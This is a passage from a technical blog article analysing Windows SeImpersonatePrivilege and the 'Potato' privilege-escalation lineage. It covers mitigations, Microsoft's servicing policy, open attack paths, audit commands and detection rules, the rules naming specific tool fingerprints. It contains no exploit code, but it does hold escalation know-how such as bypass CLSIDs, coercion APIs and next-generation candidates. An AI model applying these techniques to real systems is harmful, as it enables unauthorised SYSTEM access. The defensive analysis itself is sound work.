&lt;p&gt;&lt;em&gt;Does NOT close:&lt;/em&gt; anything that does not depend on DCOM activation. &lt;strong&gt;GodPotato&lt;/strong&gt; (RPCSS OXID handling, not DCOM activation) remains functional [@beichendream-godpotato-readme]; &lt;strong&gt;PrintSpoofer / CoercedPotato&lt;/strong&gt; (non-DCOM RPC coercion) remain functional [@labro-2020-printspoofer-post; @prepouce-coercedpotato-repo]; &lt;strong&gt;JuicyPotatoNG&lt;/strong&gt; found a same-quarter bypass on the DCOM side via the PrintNotify CLSID &lt;code&gt;{854A20FB-2D44-457D-992F-EF13785D2B51}&lt;/code&gt; [@antoniococo-juicypotatong-repo]; &lt;strong&gt;SilverPotato&lt;/strong&gt; used a different CLSID and a cross-host relay until Microsoft fixed it as CVE-2024-38061 in July 2024 [@pierini-2024-silverpotato-post; @nvd-cve-2024-38061] -- a per-variant fix that illustrates exactly why CVE-2021-26414 does not address the cross-host coerce-and-relay class as a whole.&lt;/p&gt;
&lt;h3&gt;6.6 The mitigation that does not exist: &quot;RBAC for services&quot;&lt;/h3&gt;
&lt;p&gt;Windows has shipped no unified RBAC architecture for local services. The SCM provides per-service SDDL controls, the file system and registry provide per-resource ACLs everywhere, and Service SIDs let ACLs name a specific service identity -- but &quot;RBAC for services&quot; as a single named mechanism is non-standard Windows terminology. Azure RBAC and Microsoft Entra RBAC are cloud-side authorisation systems and do not gate the local &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; at all. The §5 Sidenote on the Stage 0a focus-premise retraction covers the audit-trail framing; this subsection states the reader-facing point.&lt;/p&gt;

flowchart TB
    M1[&quot;Service SID Isolation, Vista 2007&quot;]
    M2[&quot;Restricted and Write-Restricted Tokens, Vista 2007 plus MS09-012 backport&quot;]
    M3[&quot;LPAC for select services, Windows 10 plus&quot;]
    M4[&quot;gMSA, Server 2012 plus&quot;]
    M5[&quot;CVE-2021-26414 three-phase DCOM hardening, 2021-2023&quot;]
    Surface1[&quot;Closes lateral movement between same-account services&quot;]
    Surface2[&quot;Closes write access outside restricting-SID set&quot;]
    Surface3[&quot;Closes blast radius of select Microsoft-shipped services&quot;]
    Surface4[&quot;Closes domain-credential exposure&quot;]
    Surface5[&quot;Closes DCOM activation chain, Rotten and Juicy&quot;]
    Core[&quot;Service-account-to-SYSTEM, primitive remains open&quot;]
    M1 --&amp;gt; Surface1
    M2 --&amp;gt; Surface2
    M3 --&amp;gt; Surface3
    M4 --&amp;gt; Surface4
    M5 --&amp;gt; Surface5
    Surface1 -. &quot;does not reach&quot; .-&amp;gt; Core
    Surface2 -. &quot;does not reach&quot; .-&amp;gt; Core
    Surface3 -. &quot;does not reach&quot; .-&amp;gt; Core
    Surface4 -. &quot;does not reach&quot; .-&amp;gt; Core
    Surface5 -. &quot;does not reach&quot; .-&amp;gt; Core
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;What it closes&lt;/th&gt;
&lt;th&gt;What it does NOT close&lt;/th&gt;
&lt;th&gt;Primary&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Service SID Isolation (Vista 2007)&lt;/td&gt;
&lt;td&gt;Lateral movement between services sharing an account&lt;/td&gt;
&lt;td&gt;Vertical SYSTEM via NETWORK SERVICE LSASS-cached-token defect&lt;/td&gt;
&lt;td&gt;[@forshaw-2017-08-trustedinstaller; @forshaw-2020-04-sharing-logon-session]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Restricted / Write-Restricted Tokens&lt;/td&gt;
&lt;td&gt;Write access to non-restricting-SID objects&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; still present; &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; still works&lt;/td&gt;
&lt;td&gt;[@forshaw-2020-01-empirical-wsh]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LPAC (Windows 10+)&lt;/td&gt;
&lt;td&gt;Select-services blast radius&lt;/td&gt;
&lt;td&gt;NETWORK / LOCAL SERVICE population not LPAC-contained by default&lt;/td&gt;
&lt;td&gt;sibling AppContainer article&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gMSA (Server 2012+)&lt;/td&gt;
&lt;td&gt;Domain-credential exposure&lt;/td&gt;
&lt;td&gt;Local &lt;code&gt;SeImpersonate&lt;/code&gt;; SilverPotato-class cross-host relay&lt;/td&gt;
&lt;td&gt;[@ms-learn-gmsa-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-26414 phase 3 (2023-03-14)&lt;/td&gt;
&lt;td&gt;DCOM activation chain (Rotten/Juicy)&lt;/td&gt;
&lt;td&gt;GodPotato (RPCSS), PrintSpoofer (non-DCOM), JuicyPotatoNG (same-quarter bypass)&lt;/td&gt;
&lt;td&gt;[@nvd-cve-2021-26414]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; None of this section is an indictment of the mitigations. Each one closes a meaningful surface, and a NETWORK SERVICE host with all five active is materially harder to attack than a host without them. But the surface they collectively leave open -- the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; plus &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; plus coercion-API combination -- is the surface that every shipping Potato variant lives on. The gap is not a missing patch. The gap is the design.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft has shipped five mitigations in nineteen years. Every one narrows the surface around the primitive. None of them closes it. The pattern is too consistent to be accidental. So what is the policy that produces this pattern?&lt;/p&gt;
&lt;h2&gt;7. The MSRC Servicing-Criteria Carve-Out&lt;/h2&gt;

Most of these exploits allow an attacker to break the WSH (Windows Service Hardening) boundary, enabling privilege escalation from a limited service to SYSTEM: a common scenario when dealing with web services like IIS or MSSQL. Interestingly, Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems. -- Andrea Pierini and Antonio Cocomazzi, Troopers 24 [@pierini-cocomazzi-troopers24-talk]
&lt;p&gt;This is the Microsoft-position-as-stated-to-researchers anchor for the entire article. The MSRC Windows Security Servicing Criteria page [@msrc-windows-security-servicing-criteria] is the policy-document anchor with the same content: the two-question test &quot;Does the vulnerability violate the goal or intent of a security boundary or a security feature? Does the severity of the vulnerability meet the bar for servicing?&quot; If either answer is no, the vulnerability is considered for the next version of Windows but is not addressed through a security update.&lt;/p&gt;
&lt;p&gt;Service-to-SYSTEM escalation across the Windows Service Hardening boundary is not a violation of a &lt;em&gt;security boundary&lt;/em&gt;. It is a violation of a &lt;em&gt;safety boundary&lt;/em&gt;. The distinction is doctrinal and explicit. Microsoft will fix specific token-source primitives -- LocalPotato got CVE-2023-21746, FakePotato got CVE-2024-38100 -- but the class is, on the record, not within scope for security servicing [@nvd-cve-2023-21746; @nvd-cve-2024-38100].&lt;/p&gt;
&lt;p&gt;Why? Walk through each of the three closure paths Microsoft could in principle take, and the cost of each.&lt;/p&gt;
&lt;h3&gt;7.1 Revoke &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; from NETWORK SERVICE and LOCAL SERVICE&lt;/h3&gt;
&lt;p&gt;The cleanest fix in the model: drop the privilege from the default-assignment list documented on the LOCAL SERVICE and NETWORK SERVICE account pages [@ms-learn-localservice; @ms-learn-networkservice]. Every Potato variant that ends in &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; fails immediately.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost.&lt;/em&gt; Every RPC server, web server, database server, and Office service that needs to act on a client&apos;s behalf breaks. The privilege exists &lt;em&gt;because&lt;/em&gt; services need it. IIS application pools cannot impersonate authenticated users; SQL Server cannot enforce per-login row security; Exchange cannot operate on mailboxes under the connected user&apos;s identity; the print spooler cannot enforce per-user printer ACLs; the file server cannot enforce per-user file ACLs. The 2003 service-hardening pivot would be reversed -- services would have to run as SYSTEM again to do the work they need to do, which is precisely the worm-target population Microsoft spent the early 2000s migrating away from.&lt;/p&gt;
&lt;h3&gt;7.2 Declare local DCOM activation a security boundary and service it&lt;/h3&gt;
&lt;p&gt;This was the partial path Microsoft did take with CVE-2021-26414 [@nvd-cve-2021-26414]: tighten the DCOM activation surface and ship the change in three phases over twenty-one months. But declaring &lt;em&gt;all&lt;/em&gt; local DCOM activation a security boundary requires a serviceable-CVE pipeline for every cross-session COM activation, every cross-integrity-level activation, every weakly-authenticated marshalled OBJREF.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost.&lt;/em&gt; MSRC has declined to take on that workload. The on-the-record case is RemotePotato0 [@antoniococo-remotepotato0-repo], which was classified &quot;Won&apos;t Fix&quot; by MSRC as the first explicit declination in the lineage -- documented in Forshaw&apos;s 2021 retrospective as still unpatched at the time of writing [@forshaw-2021-10-relaying-dcom-pz]. RemotePotato0 is the empirical evidence that Microsoft has chosen to live with a known cross-session DCOM relay rather than commit to a structural close.&lt;/p&gt;
&lt;h3&gt;7.3 Deprecate &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Remove the named-pipe-server impersonation API from the Win32 surface. Mark it deprecated. Stop callers from using it. Provide a replacement that requires explicit per-request token plumbing.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost.&lt;/em&gt; Most Win32 RPC servers stop being able to impersonate their callers. The SMB redirector, the Print Spooler, the EFS RPC server, and a long tail of named-pipe RPC servers depend on this specific API; their alternatives all compose into the same kernel-side call. The replacement -- a per-request capability handle threading through every RPC binding -- would be a multi-year ABI change with no clean migration path for legacy binaries.&lt;/p&gt;

flowchart LR
    Start[&quot;Closure path&quot;]
    A[&quot;A. Revoke SeImpersonatePrivilege from NETWORK SERVICE and LOCAL SERVICE&quot;]
    B[&quot;B. Declare local DCOM activation a security boundary, service every CVE&quot;]
    C[&quot;C. Deprecate ImpersonateNamedPipeClient&quot;]
    Cost1[&quot;Breaks IIS, Exchange, MSSQL, Office services&quot;]
    Cost2[&quot;Per-CVE servicing pipeline for every cross-session COM activation, MSRC has declined&quot;]
    Cost3[&quot;Breaks SMB redirector, Print Spooler, EFS, every named-pipe RPC server that impersonates&quot;]
    Converge[&quot;Compatibility cost Microsoft has not accepted&quot;]
    Start --&amp;gt; A
    Start --&amp;gt; B
    Start --&amp;gt; C
    A --&amp;gt; Cost1 --&amp;gt; Converge
    B --&amp;gt; Cost2 --&amp;gt; Converge
    C --&amp;gt; Cost3 --&amp;gt; Converge
&lt;p&gt;RemotePotato0 [@antoniococo-remotepotato0-repo] holds a particular place in the lineage because it is the first variant for which MSRC&apos;s &quot;Won&apos;t Fix&quot; classification became public on the record. Forshaw&apos;s 2021 Project Zero retrospective notes the variant as &quot;currently unpatched as of October 2021&quot; [@forshaw-2021-10-relaying-dcom-pz], and Microsoft did not subsequently issue a CVE for it. The Stage 5 outline cross-references the sibling Potato Family article (2026-05-31) for variant detail; in this article RemotePotato0 functions as the empirical proof that the carve-out is not a hypothetical preference but a shipped policy choice.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Eighteen years. Five mitigations. Three closure paths Microsoft has explicitly declined to take. The primitive is not unpatched. It is documented-as-policy not to be patched.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft has chosen, on the record, to treat this boundary as a safety boundary rather than a security boundary. Is that an architectural failure -- or is it a rational policy choice under a deeper structural constraint? Hardy 1988 has an answer.&lt;/p&gt;
&lt;h2&gt;8. The Hardy Ceiling&lt;/h2&gt;
&lt;p&gt;Norm Hardy named the class in 1988. Forty years later, Windows is still demonstrating it. The confused-deputy attack surface is not a Microsoft mistake; it is the predictable behaviour of any identity-and-ACL system in which a server holds more authority than its clients and acts on client requests [@hardy-1988].&lt;/p&gt;
&lt;p&gt;The argument generalises beyond Windows. Any system that lets a process inherit ambient authority from its identity, and then lets that process act on requests from less-authorised principals, has a confused-deputy surface by construction. The only complete defence is capability discipline: bind authority to operations rather than to running identities, and never let a process exercise authority it was not explicitly handed [@hardy-1988]. Lampson&apos;s 1971 access-matrix paper is the formal substrate the argument depends on [@lampson-1971].&lt;/p&gt;
&lt;p&gt;Windows is not a capability system. It is an identity-and-ACL system, as Cutler&apos;s NT 3.1 team chose in 1993 [@ms-learn-windows-internals]. As long as that remains true, &lt;em&gt;some&lt;/em&gt; version of &quot;service-account to higher-privileged identity&quot; is reachable, and the only question is which specific token-source primitive is currently in play. Microsoft&apos;s eighteen-year per-CVE response cadence is consistent with that ceiling. Each individual token source is fixable; the class is not.&lt;/p&gt;

The capability-systems lineage -- KeyKOS, EROS, Coyotos, seL4 -- spent four decades demonstrating that the confused-deputy class is closeable in principle. In a capability system, when Hardy&apos;s user passed the FORTRAN compiler the path to the billing file as a debug-output target, the OS would have handed the compiler a write capability only for the file the *user* could write -- not for `(SYSX)BILL`. The compiler could not have damaged the bill even if it tried. seL4 has a machine-checked proof of this property. But none of those systems is the Windows service-compatibility envelope, and porting Windows to a capability substrate is not on any public roadmap. The road exists; Microsoft has not taken it.
&lt;p&gt;The closest in-architecture approximations Windows has shipped are narrow: AppContainer and LowBox tokens (the sibling AppContainer article 2026-05-12) bind a subset of authority to declared capabilities for select Microsoft components; the &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;Adminless / Administrator Protection feature&lt;/a&gt; (sibling Adminless article 2026-05-10) binds elevation authority to per-action prompts for interactive admins. Both are partial applications of the capability principle within an otherwise identity-and-ACL system. Neither extends to the service-account population this article is about.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Windows is an identity-and-ACL system. As long as it remains one, the confused-deputy class is structurally present, and the Potato lineage is its Windows-specific instantiation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the ceiling is structural and Microsoft has chosen the doctrine to match, what is the offensive-research community working on next? And what should defenders be doing in the meantime?&lt;/p&gt;
&lt;h2&gt;9. Open Problems&lt;/h2&gt;
&lt;p&gt;The closure of LocalPotato in 2023, SilverPotato (CVE-2024-38061) in July 2024, and FakePotato (CVE-2024-38100) in July 2024 did not slow the lineage. GodPotato remains functional. The supply of coercion APIs is structurally large. Microsoft has shipped no policy change. The four open questions below define what the lineage looks like through the rest of the decade.&lt;/p&gt;
&lt;h3&gt;9.1 The coercion-API treadmill&lt;/h3&gt;
&lt;p&gt;Generation 4 demonstrated that any Windows RPC interface accepting an attacker-supplied path or endpoint and resolving it server-side under a privileged identity is a viable token source. CoercedPotato&apos;s MS-EFSR catalogue alone lists fourteen entry points (two marked NOT WORKING) [@prepouce-coercedpotato-repo], with additional protocols (MS-RPRN, MS-FSRVP, MS-DFSNM) in the same family. Microsoft patches per CVE -- PrintNightmare cluster around MS-RPRN, targeted MS-EFSR fixes -- but the supply is not exhausted, and there is no public Microsoft commitment to exhaustive enumeration or class-level closure.&lt;/p&gt;
&lt;h3&gt;9.2 GodPotato&apos;s RPCSS OXID path&lt;/h3&gt;
&lt;p&gt;Three years after the three-phase CVE-2021-26414 DCOM hardening completed [@nvd-cve-2021-26414], GodPotato remains functional across the README&apos;s tested Windows matrix (Server 2012-2022 / Windows 8-11) [@beichendream-godpotato-readme]. No public Microsoft patch has been issued for the underlying defect through mid-2026. The architectural question -- is RPCSS itself the right place to harden, or is the LSASS cached-token defect Forshaw documented in April 2020 [@forshaw-2020-04-sharing-logon-session] the right place -- remains open. Microsoft has assigned no CVE.&lt;/p&gt;
&lt;h3&gt;9.3 Credential Guard does not stop this&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://paragmali.com/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/&quot; rel=&quot;noopener&quot;&gt;Credential Guard&lt;/a&gt; protects the &lt;em&gt;NTLM hash and Kerberos TGT&lt;/em&gt; in the LSASS Isolated User Mode trustlet. It does &lt;strong&gt;not&lt;/strong&gt; protect against runtime impersonation of an already-issued token. The boundary between credential-theft mitigations and impersonation mitigations is frequently confused.&lt;/p&gt;
&lt;p&gt;Credential Guard&apos;s actual scope is narrower than its name suggests. The mitigation moves long-term authenticators -- the NT hash, the Kerberos TGT, and certain ticket-granting material -- into an isolated user-mode trustlet whose memory the regular kernel cannot read. None of that touches the runtime token plumbing the Potato lineage exercises. The token you receive from &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; is not a credential and is not held in LSASS-isolated memory; Credential Guard cannot see it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Practitioners frequently treat Credential Guard and Virtualisation-Based Security as a generic answer to &quot;Windows privilege-escalation risk.&quot; For the Potato family they are not. A Credential-Guard-enabled host that runs IIS as NETWORK SERVICE is as vulnerable to PrintSpoofer / CoercedPotato / GodPotato as a host without VBS. The category error matters operationally: a security team that buys Credential Guard expecting it to mitigate this primitive is misallocating defensive budget.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;9.4 The &quot;service boundary&quot; re-definition Microsoft has quietly avoided&lt;/h3&gt;
&lt;p&gt;Adminless / Administrator Protection -- the 2024-2025 feature that re-frames local admin identity as a per-action consent surface [@ms-learn-admin-protection] (covered in the sibling Adminless article 2026-05-10) -- explicitly excludes services from its new boundary.&lt;/p&gt;
&lt;p&gt;The Adminless documentation scopes the feature to interactive administrator accounts on a device [@ms-learn-admin-protection]; services, MSAs, gMSAs, and virtual accounts are out of scope by construction because none of them is an interactive admin account. The new boundary applies to elevation-prompt consent for interactive admins, not to service-account workloads. The open question is whether Microsoft will ever extend the Adminless boundary to include service accounts. As of mid-2026, the answer is &lt;em&gt;not on the public roadmap&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;9.5 Generation-6 candidates&lt;/h3&gt;
&lt;p&gt;Three candidate paths for the next generation of the lineage, none with a pushbutton PoC on the scale of HotPotato / JuicyPotato / PrintSpoofer / GodPotato as of mid-2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Kerberos-only loopback coercion.&lt;/em&gt; The existing NTLM-reflection mitigations target NTLM specifically; a coercion primitive that lands as a Kerberos AP-REQ to the same loopback endpoint would sidestep them.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Virtual-account / gMSA token-state defects.&lt;/em&gt; Forshaw&apos;s April 2020 analysis [@forshaw-2020-04-sharing-logon-session] established that the LSASS cached-token logic has surprising behaviours under same-machine authentication; the gMSA-account variant of those edge cases has not been publicly explored.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Cross-host extensions beyond ADCS.&lt;/em&gt; SilverPotato&apos;s coerce-and-relay chain into ADCS infrastructure [@pierini-2024-silverpotato-post] -- patched as CVE-2024-38061 in July 2024 [@nvd-cve-2024-38061] but exemplifying an open class -- is the strongest current exemplar for the &quot;Generation 6&quot; archetype: cross-host coerce-and-relay attacks that combine the existing local impersonation primitive with off-box authentication targets. LDAP, WinRM, and MSSQL-with-cert-auth are obvious next targets for the same class; what matters for taxonomy is the cross-host shape, not the patched-or-unpatched status of any specific variant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the lineage is not closing, what should a defender actually do today?&lt;/p&gt;
&lt;h2&gt;10. Defending, Detecting, and (Carefully) Removing the Privilege&lt;/h2&gt;
&lt;p&gt;Three operational questions: which accounts hold the privilege on your box, can you remove it, and how do you detect when someone is actually using it?&lt;/p&gt;
&lt;h3&gt;10.1 Auditing which accounts hold &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The first defensive action is enumeration -- not removal. Concrete commands, in increasing order of detail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;whoami /priv&lt;/code&gt; -- per-process self-check from any shell. Reports the token&apos;s privileges in the form the article opens with.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;secedit /export /cfg secpol.cfg&lt;/code&gt; -- full local-policy export. Grep the output for &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; to see every SID the local policy grants it to.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;accesschk.exe -a SeImpersonatePrivilege&lt;/code&gt; -- the Sysinternals AccessChk tool [@ms-learn-accesschk] enumerates the effective holders directly from the LSA policy database.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Get-NtTokenPrivileges&lt;/code&gt; from James Forshaw&apos;s NtObjectManager PowerShell module [@forshaw-ntobjectmanager-repo] -- the same data, scriptable, with the broader NtObjectManager surface available for follow-up (named-pipe enumeration, token-handle leak search, kernel-object introspection).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Invoke-PrivescCheck&lt;/code&gt; from Clement Labro&apos;s PrivescCheck module [@labro-privesccheck-repo] -- the canonical local-privesc check-list. The output includes &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; presence as one of approximately forty enumerated checks.&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Author&lt;/th&gt;
&lt;th&gt;What it reports&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;AccessChk (Sysinternals)&lt;/td&gt;
&lt;td&gt;Mark Russinovich&lt;/td&gt;
&lt;td&gt;Effective permissions, account-privilege enumeration via &lt;code&gt;-a&lt;/code&gt; [@ms-learn-accesschk]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtObjectManager&lt;/td&gt;
&lt;td&gt;James Forshaw&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Get-NtTokenPrivileges&lt;/code&gt;, named-pipe enumeration, token-handle leak search [@forshaw-ntobjectmanager-repo]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PrivescCheck&lt;/td&gt;
&lt;td&gt;Clement Labro&lt;/td&gt;
&lt;td&gt;Canonical local-privesc check-list incl. &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; presence [@labro-privesccheck-repo]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;{`
// Logic of: secedit /export /cfg secpol.cfg ; grep SeImpersonate
const secpol = readPolicyExport();              // produced by secedit
const holders = secpol[&apos;SeImpersonatePrivilege&apos;] || [];&lt;/p&gt;
&lt;p&gt;console.log(&apos;SIDs holding SeImpersonatePrivilege:&apos;);
for (const sid of holders) {
  console.log(&apos;  &apos; + sid);
}&lt;/p&gt;
&lt;p&gt;// Typical default on a server-style install:
//   S-1-5-19   (NT AUTHORITY\LOCAL SERVICE)
//   S-1-5-20   (NT AUTHORITY\NETWORK SERVICE)
//   S-1-5-32-544 (BUILTIN\Administrators)
//   S-1-5-6    (NT AUTHORITY\SERVICE)
`}&lt;/p&gt;
&lt;h3&gt;10.2 Removing the privilege where you can&lt;/h3&gt;
&lt;p&gt;The policy path is documented: &lt;code&gt;Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings -&amp;gt; Local Policies -&amp;gt; User Rights Assignment -&amp;gt; Impersonate a client after authentication&lt;/code&gt; [@ms-learn-impersonate-policy]. The temptation, especially after reading an article like this one, is to remove &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; from NETWORK SERVICE wholesale.&lt;/p&gt;
&lt;p&gt;Do not do that. It will break IIS, Exchange, SQL Server, and most other Windows server products -- the same set the 2003 service-hardening pivot was designed to support. The realistic defensive approach is narrower: &lt;em&gt;audit first&lt;/em&gt;, &lt;em&gt;understand the dependency surface&lt;/em&gt;, then &lt;em&gt;narrow the assignment to the specific service accounts that need it&lt;/em&gt; on the specific hosts where they run. On hosts that do not run an RPC-impersonating workload (jump boxes, build agents, certain hardened-management hosts), the privilege can sometimes be removed safely from the unused well-known accounts.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The single most common mistake after reading any Potato writeup is to remove the privilege from NETWORK SERVICE on a production host. Doing so breaks IIS (per-user authentication fails), Exchange (mailbox impersonation fails), SQL Server (per-login row security fails), the SMB redirector (file-server impersonation fails), the Print Spooler (per-user printer ACLs fail), and most third-party Win32 service products. The privilege exists because services need it. Audit before you remove. Remove only after you have positively identified which production services on this host depend on the privilege and confirmed none of them does.&lt;/p&gt;
&lt;/blockquote&gt;

*Hidden behind a spoiler intentionally, so a skimming reader does not accidentally remove the privilege from production NETWORK SERVICE.* Open `gpedit.msc` (or the Group Policy Management Console for a domain-joined host). Navigate Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings -&amp;gt; Local Policies -&amp;gt; User Rights Assignment -&amp;gt; Impersonate a client after authentication. The right-hand pane lists the SIDs holding the privilege. Note the current list. Do not change it. Compare it against the audit output from Section 10.1. If the local list and the AccessChk output disagree, you have a domain-pushed policy override worth tracing. If they agree and you have a documented business reason to remove a specific account, change the policy for that specific account only, and confirm on a non-production host that the dependent services still function.
&lt;h3&gt;10.3 Detection signatures&lt;/h3&gt;
&lt;p&gt;Detection in this space breaks into two abstractions: &lt;em&gt;primitive-level&lt;/em&gt; rules that match the named-pipe pattern every Potato variant generates, and &lt;em&gt;named-tool&lt;/em&gt; rules that match a specific binary&apos;s fingerprint.&lt;/p&gt;
&lt;p&gt;The primitive-level open-source reference is the Elastic detection rule &lt;code&gt;Privilege Escalation via Rogue Named Pipe&lt;/code&gt; [@elastic-rogue-named-pipe-rule] (as of June 2026; the cited URL pins to the master HEAD), rule_id &lt;code&gt;76ddb638-abf7-42d5-be22-4a70b0bf7241&lt;/code&gt;. The EQL queries Sysmon Event ID 17 (pipe-creation events) and matches paths in which a &lt;code&gt;\pipe\&lt;/code&gt; token appears after another path segment -- the canonical PrintSpoofer-style relay endpoint fingerprint. Because the rule looks for the pattern every Potato variant produces (a service-account process creating a named pipe whose path embeds a coercion-API hint), it survives binary rename, source-recompile, and most CLI variation.&lt;/p&gt;
&lt;p&gt;The named-tool reference is the SigmaHQ LocalPotato rule [@sigmahq-localpotato-rule] (as of June 2026; the cited URL pins to the master HEAD), rule &lt;code&gt;id 6bd75993-9888-4f91-9404-e1e4e4e34b77&lt;/code&gt;. Three OR-joined selectors: image path ending in &lt;code&gt;\LocalPotato.exe&lt;/code&gt;; CLI fingerprint &lt;code&gt;-i C:\&lt;/code&gt; paired with &lt;code&gt;-o Windows\&lt;/code&gt;; specific IMPHASH selectors &lt;code&gt;E1742EE971D6549E8D4D81115F88F1FC&lt;/code&gt; and &lt;code&gt;DD82066EFBA94D7556EF582F247C8BB5&lt;/code&gt;. Useful as a low-noise IOC tripwire; trivially evaded by binary rename or recompilation.&lt;/p&gt;

The Sigma LocalPotato rule is a perfectly competent detection rule for *the LocalPotato binary distributed at a specific commit*. It is essentially useless against the *technique*. An attacker recompiling LocalPotato from source breaks the IMPHASH selectors; renaming the output binary breaks the image-path selector; rewriting the CLI argument parsing breaks the third selector. The rule is brittle by construction, and the brittleness is structural to named-tool detection. The same point this article makes about Microsoft&apos;s per-CVE patches applies one level down: closing this binary does not close the technique; closing this technique does not close the primitive.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Invest detection budget in the Elastic primitive-level rule (or equivalent) and accept the higher false-positive rate that comes with it. The named-tool rules are a useful low-noise tripwire but should not be the primary signal. The same logic that makes the privilege durable against per-CVE patches makes the named-tool rules ephemeral against re-tooling.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We have walked the eighteen-year history, named the three-piece system, surveyed the mitigations, articulated the Microsoft policy, hit the Hardy ceiling, scanned the open problems, and listed the operational tools. One thing remains: the eight misconceptions practitioners hold about this primitive that the article must explicitly correct.&lt;/p&gt;
&lt;h2&gt;11. FAQ -- Eight Misconceptions That Will Not Die&lt;/h2&gt;

No. UAC (User Account Control) is an interactive-token consent surface for desktop logons; it gates whether an interactive admin can elevate to a full administrator token at consent-prompt time. Service accounts have no interactive logon and never see a UAC prompt. NETWORK SERVICE and LOCAL SERVICE inherit `SeImpersonatePrivilege` in their default token regardless of UAC settings [@ms-learn-localservice; @ms-learn-networkservice]; the Potato chain runs entirely under the service token without ever touching the interactive consent surface.

No. Credential Guard protects long-term credentials (the NTLM hash, the Kerberos TGT) in an isolated user-mode trustlet whose memory the regular kernel cannot read. The Potato lineage does not steal a credential and does not call into LSASS-isolated memory -- see §9.3 for the architectural detail. The operational takeaway: Credential Guard and VBS are orthogonal to runtime token impersonation, and a security team buying VBS in response to Potato writeups is misallocating defensive budget.

Not if the account holds `SeImpersonatePrivilege`. LOCAL SERVICE and NETWORK SERVICE both hold it by default and have it enabled in their default tokens [@ms-learn-localservice; @ms-learn-networkservice]. The gate is the privilege, not the account name. A service that has been &quot;hardened&quot; by moving from SYSTEM to NETWORK SERVICE still has the gate open. Real hardening requires either removing the privilege from the account on that specific host (with the compatibility risks Section 10.2 describes) or running the service under a custom account that does not get the privilege auto-granted.

